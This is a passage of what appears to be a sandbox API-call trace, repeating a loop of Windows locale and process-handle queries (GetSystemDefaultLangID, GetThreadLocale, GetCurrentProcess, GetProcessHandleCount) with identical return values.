pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.919] GetSystemDefaultLangID () returned 0x2740409 [0072.919] GetThreadLocale () returned 0x409 [0072.919] GetCurrentProcess () returned 0xffffffff [0072.919] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.919] GetSystemDefaultLangID () returned 0x2740409 [0072.919] GetThreadLocale () returned 0x409 [0072.920] GetCurrentProcess () returned 0xffffffff [0072.920] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.920] GetSystemDefaultLangID () returned 0x2740409 [0072.920] GetThreadLocale () returned 0x409 [0072.920] GetCurrentProcess () returned 0xffffffff [0072.920] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.920] GetSystemDefaultLangID () returned 0x2740409 [0072.920] GetThreadLocale () returned 0x409 [0072.920] GetCurrentProcess () returned 0xffffffff [0072.920] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.920] GetSystemDefaultLangID () returned 0x2740409 [0072.920] GetThreadLocale () returned 0x409 [0072.920] GetCurrentProcess () returned 0xffffffff [0072.920] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.920] GetSystemDefaultLangID () returned 0x2740409 [0072.920] GetThreadLocale () returned 0x409 [0072.920] GetCurrentProcess () returned 0xffffffff [0072.920] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.920] GetSystemDefaultLangID () returned 0x2740409 [0072.920] GetThreadLocale () returned 0x409 [0072.920] GetCurrentProcess () returned 0xffffffff [0072.920] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.920] GetSystemDefaultLangID () returned 0x2740409 [0072.920] GetThreadLocale () returned 0x409 [0072.920] GetCurrentProcess () returned 0xffffffff [0072.920] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.920] GetSystemDefaultLangID () returned 0x2740409 [0072.920] GetThreadLocale () returned 0x409 [0072.920] GetCurrentProcess () returned 0xffffffff [0072.920] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.920] GetSystemDefaultLangID () returned 0x2740409 [0072.920] GetThreadLocale () returned 0x409 [0072.920] GetCurrentProcess () returned 0xffffffff [0072.920] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.921] GetSystemDefaultLangID () returned 0x2740409 [0072.921] GetThreadLocale () returned 0x409 [0072.921] GetCurrentProcess () returned 0xffffffff [0072.921] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.921] GetSystemDefaultLangID () returned 0x2740409 [0072.921] GetThreadLocale () returned 0x409 [0072.921] GetCurrentProcess () returned 0xffffffff [0072.921] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.921] GetSystemDefaultLangID () returned 0x2740409 [0072.921] GetThreadLocale () returned 0x409 [0072.921] GetCurrentProcess () returned 0xffffffff [0072.921] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.921] GetSystemDefaultLangID () returned 0x2740409 [0072.921] GetThreadLocale () returned 0x409 [0072.921] GetCurrentProcess () returned 0xffffffff [0072.921] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.921] GetSystemDefaultLangID () returned 0x2740409 [0072.921] GetThreadLocale () returned 0x409 [0072.921] GetCurrentProcess () returned 0xffffffff [0072.921] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.921] GetSystemDefaultLangID () returned 0x2740409 [0072.921] GetThreadLocale () returned 0x409 [0072.921] GetCurrentProcess () returned 0xffffffff [0072.921] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.921] GetSystemDefaultLangID () returned 0x2740409 [0072.921] GetThreadLocale () returned 0x409 [0072.921] GetCurrentProcess () returned 0xffffffff [0072.921] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.921] GetSystemDefaultLangID () returned 0x2740409 [0072.921] GetThreadLocale () returned 0x409 [0072.921] GetCurrentProcess () returned 0xffffffff [0072.921] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.922] GetSystemDefaultLangID () returned 0x2740409 [0072.922] GetThreadLocale () returned 0x409 [0072.922] GetCurrentProcess () returned 0xffffffff [0072.922] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.922] GetSystemDefaultLangID () returned 0x2740409 [0072.922] GetThreadLocale () returned 0x409 [0072.922] GetCurrentProcess () returned 0xffffffff [0072.922] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.922] GetSystemDefaultLangID () returned 0x2740409 [0072.922] GetThreadLocale () returned 0x409 [0072.922] GetCurrentProcess () returned 0xffffffff [0072.922] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.922] GetSystemDefaultLangID () returned 0x2740409 [0072.922] GetThreadLocale () returned 0x409 [0072.922] GetCurrentProcess () returned 0xffffffff [0072.922] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.922] GetSystemDefaultLangID () returned 0x2740409 [0072.922] GetThreadLocale () returned 0x409 [0072.922] GetCurrentProcess () returned 0xffffffff [0072.922] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.922] GetSystemDefaultLangID () returned 0x2740409 [0072.922] GetThreadLocale () returned 0x409 [0072.922] GetCurrentProcess () returned 0xffffffff [0072.922] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.922] GetSystemDefaultLangID () returned 0x2740409 [0072.922] GetThreadLocale () returned 0x409 [0072.922] GetCurrentProcess () returned 0xffffffff [0072.922] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.922] GetSystemDefaultLangID () returned 0x2740409 [0072.922] GetThreadLocale () returned 0x409 [0072.922] GetCurrentProcess () returned 0xffffffff [0072.922] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.922] GetSystemDefaultLangID () returned 0x2740409 [0072.923] GetThreadLocale () returned 0x409 [0072.923] GetCurrentProcess () returned 0xffffffff [0072.923] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.923] GetSystemDefaultLangID () returned 0x2740409 [0072.923] GetThreadLocale () returned 0x409 [0072.923] GetCurrentProcess () returned 0xffffffff [0072.923] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.923] GetSystemDefaultLangID () returned 0x2740409 [0072.923] GetThreadLocale () returned 0x409 [0072.923] GetCurrentProcess () returned 0xffffffff [0072.923] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.923] GetSystemDefaultLangID () returned 0x2740409 [0072.923] GetThreadLocale () returned 0x409 [0072.923] GetCurrentProcess () returned 0xffffffff [0072.923] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.923] GetSystemDefaultLangID () returned 0x2740409 [0072.923] GetThreadLocale () returned 0x409 [0072.923] GetCurrentProcess () returned 0xffffffff [0072.923] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.923] GetSystemDefaultLangID () returned 0x2740409 [0072.923] GetThreadLocale () returned 0x409 [0072.923] GetCurrentProcess () returned 0xffffffff [0072.923] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.923] GetSystemDefaultLangID () returned 0x2740409 [0072.923] GetThreadLocale () returned 0x409 [0072.923] GetCurrentProcess () returned 0xffffffff [0072.923] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.923] GetSystemDefaultLangID () returned 0x2740409 [0072.923] GetThreadLocale () returned 0x409 [0072.923] GetCurrentProcess () returned 0xffffffff [0072.923] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.923] GetSystemDefaultLangID () returned 0x2740409 [0072.923] GetThreadLocale () returned 0x409 [0072.923] GetCurrentProcess () returned 0xffffffff [0072.923] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.924] GetSystemDefaultLangID () returned 0x2740409 [0072.924] GetThreadLocale () returned 0x409 [0072.924] GetCurrentProcess () returned 0xffffffff [0072.924] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.924] GetSystemDefaultLangID () returned 0x2740409 [0072.924] GetThreadLocale () returned 0x409 [0072.924] GetCurrentProcess () returned 0xffffffff [0072.924] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.924] GetSystemDefaultLangID () returned 0x2740409 [0072.924] GetThreadLocale () returned 0x409 [0072.924] GetCurrentProcess () returned 0xffffffff [0072.924] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.924] GetSystemDefaultLangID () returned 0x2740409 [0072.924] GetThreadLocale () returned 0x409 [0072.924] GetCurrentProcess () returned 0xffffffff [0072.924] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.924] GetSystemDefaultLangID () returned 0x2740409 [0072.924] GetThreadLocale () returned 0x409 [0072.924] GetCurrentProcess () returned 0xffffffff [0072.924] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.924] GetSystemDefaultLangID () returned 0x2740409 [0072.924] GetThreadLocale () returned 0x409 [0072.924] GetCurrentProcess () returned 0xffffffff [0072.924] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.924] GetSystemDefaultLangID () returned 0x2740409 [0072.924] GetThreadLocale () returned 0x409 [0072.924] GetCurrentProcess () returned 0xffffffff [0072.924] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.924] GetSystemDefaultLangID () returned 0x2740409 [0072.924] GetThreadLocale () returned 0x409 [0072.924] GetCurrentProcess () returned 0xffffffff [0072.924] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.924] GetSystemDefaultLangID () returned 0x2740409 [0072.925] GetThreadLocale () returned 0x409 [0072.925] GetCurrentProcess () returned 0xffffffff [0072.925] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.925] GetSystemDefaultLangID () returned 0x2740409 [0072.925] GetThreadLocale () returned 0x409 [0072.925] GetCurrentProcess () returned 0xffffffff [0072.925] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.925] GetSystemDefaultLangID () returned 0x2740409 [0072.925] GetThreadLocale () returned 0x409 [0072.925] GetCurrentProcess () returned 0xffffffff [0072.925] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.925] GetSystemDefaultLangID () returned 0x2740409 [0072.925] GetThreadLocale () returned 0x409 [0072.925] GetCurrentProcess () returned 0xffffffff [0072.925] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.925] GetSystemDefaultLangID () returned 0x2740409 [0072.925] GetThreadLocale () returned 0x409 [0072.925] GetCurrentProcess () returned 0xffffffff [0072.925] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.925] GetSystemDefaultLangID () returned 0x2740409 [0072.925] GetThreadLocale () returned 0x409 [0072.925] GetCurrentProcess () returned 0xffffffff [0072.925] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.925] GetSystemDefaultLangID () returned 0x2740409 [0072.925] GetThreadLocale () returned 0x409 [0072.925] GetCurrentProcess () returned 0xffffffff [0072.925] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.925] GetSystemDefaultLangID () returned 0x2740409 [0072.925] GetThreadLocale () returned 0x409 [0072.925] GetCurrentProcess () returned 0xffffffff [0072.925] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.925] GetSystemDefaultLangID () returned 0x2740409 [0072.925] GetThreadLocale () returned 0x409 [0072.925] GetCurrentProcess () returned 0xffffffff [0072.926] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.926] GetSystemDefaultLangID () returned 0x2740409 [0072.926] GetThreadLocale () returned 0x409 [0072.926] GetCurrentProcess () returned 0xffffffff [0072.926] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.926] GetSystemDefaultLangID () returned 0x2740409 [0072.926] GetThreadLocale () returned 0x409 [0072.926] GetCurrentProcess () returned 0xffffffff [0072.926] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.926] GetSystemDefaultLangID () returned 0x2740409 [0072.926] GetThreadLocale () returned 0x409 [0072.926] GetCurrentProcess () returned 0xffffffff [0072.926] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.926] GetSystemDefaultLangID () returned 0x2740409 [0072.926] GetThreadLocale () returned 0x409 [0072.926] GetCurrentProcess () returned 0xffffffff [0072.926] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.926] GetSystemDefaultLangID () returned 0x2740409 [0072.926] GetThreadLocale () returned 0x409 [0072.926] GetCurrentProcess () returned 0xffffffff [0072.926] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.926] GetSystemDefaultLangID () returned 0x2740409 [0072.926] GetThreadLocale () returned 0x409 [0072.926] GetCurrentProcess () returned 0xffffffff [0072.926] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.926] GetSystemDefaultLangID () returned 0x2740409 [0072.926] GetThreadLocale () returned 0x409 [0072.926] GetCurrentProcess () returned 0xffffffff [0072.926] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.926] GetSystemDefaultLangID () returned 0x2740409 [0072.926] GetThreadLocale () returned 0x409 [0072.926] GetCurrentProcess () returned 0xffffffff [0072.926] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.927] GetSystemDefaultLangID () returned 0x2740409 [0072.927] GetThreadLocale () returned 0x409 [0072.927] GetCurrentProcess () returned 0xffffffff [0072.927] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.927] GetSystemDefaultLangID () returned 0x2740409 [0072.927] GetThreadLocale () returned 0x409 [0072.927] GetCurrentProcess () returned 0xffffffff [0072.927] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.927] GetSystemDefaultLangID () returned 0x2740409 [0072.927] GetThreadLocale () returned 0x409 [0072.927] GetCurrentProcess () returned 0xffffffff [0072.927] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.927] GetSystemDefaultLangID () returned 0x2740409 [0072.927] GetThreadLocale () returned 0x409 [0072.927] GetCurrentProcess () returned 0xffffffff [0072.927] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.927] GetSystemDefaultLangID () returned 0x2740409 [0072.927] GetThreadLocale () returned 0x409 [0072.927] GetCurrentProcess () returned 0xffffffff [0072.927] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.927] GetSystemDefaultLangID () returned 0x2740409 [0072.927] GetThreadLocale () returned 0x409 [0072.927] GetCurrentProcess () returned 0xffffffff [0072.927] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.927] GetSystemDefaultLangID () returned 0x2740409 [0072.927] GetThreadLocale () returned 0x409 [0072.927] GetCurrentProcess () returned 0xffffffff [0072.927] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.927] GetSystemDefaultLangID () returned 0x2740409 [0072.927] GetThreadLocale () returned 0x409 [0072.927] GetCurrentProcess () returned 0xffffffff [0072.927] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.927] GetSystemDefaultLangID () returned 0x2740409 [0072.927] GetThreadLocale () returned 0x409 [0072.927] GetCurrentProcess () returned 0xffffffff [0072.928] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.928] GetSystemDefaultLangID () returned 0x2740409 [0072.928] GetThreadLocale () returned 0x409 [0072.928] GetCurrentProcess () returned 0xffffffff [0072.928] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.928] GetSystemDefaultLangID () returned 0x2740409 [0072.928] GetThreadLocale () returned 0x409 [0072.928] GetCurrentProcess () returned 0xffffffff [0072.928] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.928] GetSystemDefaultLangID () returned 0x2740409 [0072.928] GetThreadLocale () returned 0x409 [0072.928] GetCurrentProcess () returned 0xffffffff [0072.928] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.928] GetSystemDefaultLangID () returned 0x2740409 [0072.928] GetThreadLocale () returned 0x409 [0072.928] GetCurrentProcess () returned 0xffffffff [0072.928] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.928] GetSystemDefaultLangID () returned 0x2740409 [0072.928] GetThreadLocale () returned 0x409 [0072.928] GetCurrentProcess () returned 0xffffffff [0072.928] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.928] GetSystemDefaultLangID () returned 0x2740409 [0072.928] GetThreadLocale () returned 0x409 [0072.928] GetCurrentProcess () returned 0xffffffff [0072.928] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.928] GetSystemDefaultLangID () returned 0x2740409 [0072.928] GetThreadLocale () returned 0x409 [0072.928] GetCurrentProcess () returned 0xffffffff [0072.928] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.928] GetSystemDefaultLangID () returned 0x2740409 [0072.928] GetThreadLocale () returned 0x409 [0072.928] GetCurrentProcess () returned 0xffffffff [0072.928] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.928] GetSystemDefaultLangID () returned 0x2740409 [0072.929] GetThreadLocale () returned 0x409 [0072.929] GetCurrentProcess () returned 0xffffffff [0072.929] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.929] GetSystemDefaultLangID () returned 0x2740409 [0072.929] GetThreadLocale () returned 0x409 [0072.929] GetCurrentProcess () returned 0xffffffff [0072.929] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.929] GetSystemDefaultLangID () returned 0x2740409 [0072.929] GetThreadLocale () returned 0x409 [0072.929] GetCurrentProcess () returned 0xffffffff [0072.929] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.929] GetSystemDefaultLangID () returned 0x2740409 [0072.929] GetThreadLocale () returned 0x409 [0072.929] GetCurrentProcess () returned 0xffffffff [0072.929] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.929] GetSystemDefaultLangID () returned 0x2740409 [0072.929] GetThreadLocale () returned 0x409 [0072.929] GetCurrentProcess () returned 0xffffffff [0072.929] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.929] GetSystemDefaultLangID () returned 0x2740409 [0072.929] GetThreadLocale () returned 0x409 [0072.929] GetCurrentProcess () returned 0xffffffff [0072.929] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.929] GetSystemDefaultLangID () returned 0x2740409 [0072.929] GetThreadLocale () returned 0x409 [0072.929] GetCurrentProcess () returned 0xffffffff [0072.929] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.929] GetSystemDefaultLangID () returned 0x2740409 [0072.929] GetThreadLocale () returned 0x409 [0072.929] GetCurrentProcess () returned 0xffffffff [0072.929] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.929] GetSystemDefaultLangID () returned 0x2740409 [0072.929] GetThreadLocale () returned 0x409 [0072.929] GetCurrentProcess () returned 0xffffffff [0072.929] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.930] GetSystemDefaultLangID () returned 0x2740409 [0072.930] GetThreadLocale () returned 0x409 [0072.930] GetCurrentProcess () returned 0xffffffff [0072.930] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.930] GetSystemDefaultLangID () returned 0x2740409 [0072.930] GetThreadLocale () returned 0x409 [0072.930] GetCurrentProcess () returned 0xffffffff [0072.930] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.930] GetSystemDefaultLangID () returned 0x2740409 [0072.930] GetThreadLocale () returned 0x409 [0072.930] GetCurrentProcess () returned 0xffffffff [0072.930] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.930] GetSystemDefaultLangID () returned 0x2740409 [0072.930] GetThreadLocale () returned 0x409 [0072.930] GetCurrentProcess () returned 0xffffffff [0072.930] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.930] GetSystemDefaultLangID () returned 0x2740409 [0072.930] GetThreadLocale () returned 0x409 [0072.930] GetCurrentProcess () returned 0xffffffff [0072.930] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.930] GetSystemDefaultLangID () returned 0x2740409 [0072.930] GetThreadLocale () returned 0x409 [0072.930] GetCurrentProcess () returned 0xffffffff [0072.930] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.930] GetSystemDefaultLangID () returned 0x2740409 [0072.930] GetThreadLocale () returned 0x409 [0072.930] GetCurrentProcess () returned 0xffffffff [0072.930] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.930] GetSystemDefaultLangID () returned 0x2740409 [0072.930] GetThreadLocale () returned 0x409 [0072.930] GetCurrentProcess () returned 0xffffffff [0072.930] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.930] GetSystemDefaultLangID () returned 0x2740409 [0072.931] GetThreadLocale () returned 0x409 [0072.931] GetCurrentProcess () returned 0xffffffff [0072.931] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.931] GetSystemDefaultLangID () returned 0x2740409 [0072.931] GetThreadLocale () returned 0x409 [0072.931] GetCurrentProcess () returned 0xffffffff [0072.931] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.931] GetSystemDefaultLangID () returned 0x2740409 [0072.931] GetThreadLocale () returned 0x409 [0072.931] GetCurrentProcess () returned 0xffffffff [0072.931] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.931] GetSystemDefaultLangID () returned 0x2740409 [0072.931] GetThreadLocale () returned 0x409 [0072.931] GetCurrentProcess () returned 0xffffffff [0072.931] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.931] GetSystemDefaultLangID () returned 0x2740409 [0072.931] GetThreadLocale () returned 0x409 [0072.931] GetCurrentProcess () returned 0xffffffff [0072.931] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.931] GetSystemDefaultLangID () returned 0x2740409 [0072.931] GetThreadLocale () returned 0x409 [0072.931] GetCurrentProcess () returned 0xffffffff [0072.931] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.931] GetSystemDefaultLangID () returned 0x2740409 [0072.931] GetThreadLocale () returned 0x409 [0072.931] GetCurrentProcess () returned 0xffffffff [0072.931] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.931] GetSystemDefaultLangID () returned 0x2740409 [0072.931] GetThreadLocale () returned 0x409 [0072.931] GetCurrentProcess () returned 0xffffffff [0072.931] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.931] GetSystemDefaultLangID () returned 0x2740409 [0072.931] GetThreadLocale () returned 0x409 [0072.931] GetCurrentProcess () returned 0xffffffff [0072.932] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.932] GetSystemDefaultLangID () returned 0x2740409 [0072.932] GetThreadLocale () returned 0x409 [0072.932] GetCurrentProcess () returned 0xffffffff [0072.932] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.932] GetSystemDefaultLangID () returned 0x2740409 [0072.932] GetThreadLocale () returned 0x409 [0072.932] GetCurrentProcess () returned 0xffffffff [0072.932] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.932] GetSystemDefaultLangID () returned 0x2740409 [0072.932] GetThreadLocale () returned 0x409 [0072.932] GetCurrentProcess () returned 0xffffffff [0072.932] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.932] GetSystemDefaultLangID () returned 0x2740409 [0072.932] GetThreadLocale () returned 0x409 [0072.932] GetCurrentProcess () returned 0xffffffff [0072.932] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.932] GetSystemDefaultLangID () returned 0x2740409 [0072.932] GetThreadLocale () returned 0x409 [0072.932] GetCurrentProcess () returned 0xffffffff [0072.932] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.932] GetSystemDefaultLangID () returned 0x2740409 [0072.932] GetThreadLocale () returned 0x409 [0072.932] GetCurrentProcess () returned 0xffffffff [0072.932] GetProcessHandleCount (in: hProcess=0x0, pdwHandleCount=0x0 | out: pdwHandleCount=0x0) returned 0 [0072.932] GetSystemDefaultLangID () returned 0x2740409 